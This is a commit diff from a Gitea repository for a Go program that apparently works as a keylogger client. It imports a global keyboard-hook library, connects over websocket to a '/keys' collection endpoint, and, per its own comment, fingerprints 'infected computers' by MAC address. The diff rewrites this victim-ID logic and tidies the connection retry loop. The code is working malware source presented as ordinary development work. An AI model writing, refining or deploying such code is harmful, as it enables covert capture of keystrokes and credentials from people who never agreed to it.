🔨 Refactors id generation/retrieval algorithm
All checks were successful
Gitea Build Action / build (push) Successful in 35s

The client id is now either generated from the device MAC address (from a device that starts with w or e and is up and isn't loopback) or randomly generated
This commit is contained in:
2026-01-22 11:20:53 +01:00
parent 378893e93d
commit cf1127a339
3 changed files with 23 additions and 37 deletions

View File

@@ -1,16 +1,16 @@
package main
import (
"bytes"
"encoding/hex"
"fmt"
"io"
"math/rand"
"net"
"net/url"
"os"
"path/filepath"
"runtime"
"strings"
"time"
"github.com/google/uuid"
"github.com/gorilla/websocket"
hook "github.com/robotn/gohook"
)
@@ -33,41 +33,27 @@ func log(msg string, formats ...any) {
}
}
// load id from same directory as executable from "keys.txt"
func getId() uuid.UUID {
var id = uuid.New()
if runtime.GOOS != "windows" {
return id
}
ex, err := os.Executable()
// get mac address so we can differentiate between separate infected computers/clients
func getId() []byte {
interfaces, err := net.Interfaces()
if err != nil {
return id
}
file := filepath.Join(filepath.Dir(ex), "keys.txt")
stream, err := os.Open(file)
defer func() { _ = stream.Close() }()
if err != nil {
return id
}
data, err := io.ReadAll(stream)
if err != nil {
return id
}
loaded, err := uuid.Parse(string(data))
if err != nil {
return id
panic(err)
} else {
return loaded
for _, i := range interfaces {
if (strings.HasPrefix(strings.ToLower(i.Name), "e") || strings.HasPrefix(strings.ToLower(i.Name), "w")) && i.Flags&net.FlagUp != 0 && i.Flags&net.FlagLoopback == 0 && !bytes.Equal(i.HardwareAddr, nil) {
return i.HardwareAddr
}
}
}
id := make([]byte, 6)
rand.Read(id)
return id
}
func main() {
id := getId()
var resource = url.URL{Scheme: "ws", Host: "localhost:8080", Path: fmt.Sprintf("/keys?id=%s", id)}
var resource = url.URL{Scheme: "ws", Host: "localhost:8080", Path: "/keys", RawQuery: fmt.Sprintf("id=%s", hex.EncodeToString(id))}
debugRaw := strings.ToLower(os.Getenv("DEBUG"))
debug = debugRaw == "true" || debugRaw == "1" || debugRaw == "yes"
@@ -78,14 +64,14 @@ func main() {
log("attempting to dial: %s\n", resource.String())
conn, _, err = websocket.DefaultDialer.Dial(resource.String(), nil)
if err != nil {
log("dialing failed")
log("dialing failed\n")
tries += 1
if tries >= 3 {
return
}
time.Sleep(time.Second)
} else {
log("dialnig succesful")
log("dialing succesful\n")
break
}
}